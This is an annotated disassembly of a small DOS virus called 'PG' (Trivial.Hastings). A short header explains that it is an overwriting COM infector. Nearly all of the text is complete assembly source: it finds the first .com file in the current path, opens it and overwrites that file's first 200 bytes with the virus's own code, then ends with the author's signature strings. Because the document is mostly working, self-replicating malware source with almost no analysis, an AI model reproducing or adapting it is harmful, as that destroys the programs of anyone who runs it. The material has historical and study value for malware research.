; Diassembly of "PG" Virus [Trivial.Hastings] by Nemesis
;
; This virus is an overwriting COM infector. It finds the first COM file
; in it's current path and overwrites the first 200 bytes with it's own
; code. It's a simple hack of the Trivial virus and is absolutely nothing
; special. Why do I waste my time? :)
;


new_dta         equ 1D2h

                .model tiny
                .code
                 org 100h

start:
		mov	ah,1Ah
                mov     dx,new_dta
                int     21h                     ; Set DTA

                mov     ah,4Eh
                xor     cx,cx
                mov     dx,offset com_spec
                int     21h                     ; Find First

		mov	ax,3D02h
                mov     dx,new_dta+30           ; dta+30
                int     21h                     ; Open File R/W

                jc      done

                mov     bx,ax                   ; BX= File Handle
                mov     ah,40h
                mov     cx,0C8h                 ; Write 200 Bytes
                mov     dx,100h                 ; to file.
                int     21h


done:
                int     20h                     ; Terminate

com_spec   db   '*.com',0


by_line          db       'by '

; This Is        db      14h, 15h, 98h, 80h
; Encrypted      db      0D7h, 40h, 26h,0EEh,0B7h,0B3h
; Name           db      0BDh,0EBh
                 db      24h
                 db      ' ', 0
                 db      'AKA Nick Haflinger...', 0
                 db      'Zopy me I want to travel', 0
                 db      'I can now program in assembler', 0
                 db      'This program was written in the '
                 db      'town of Hastings', 0
                 db      'hehehehe!'

		end	start
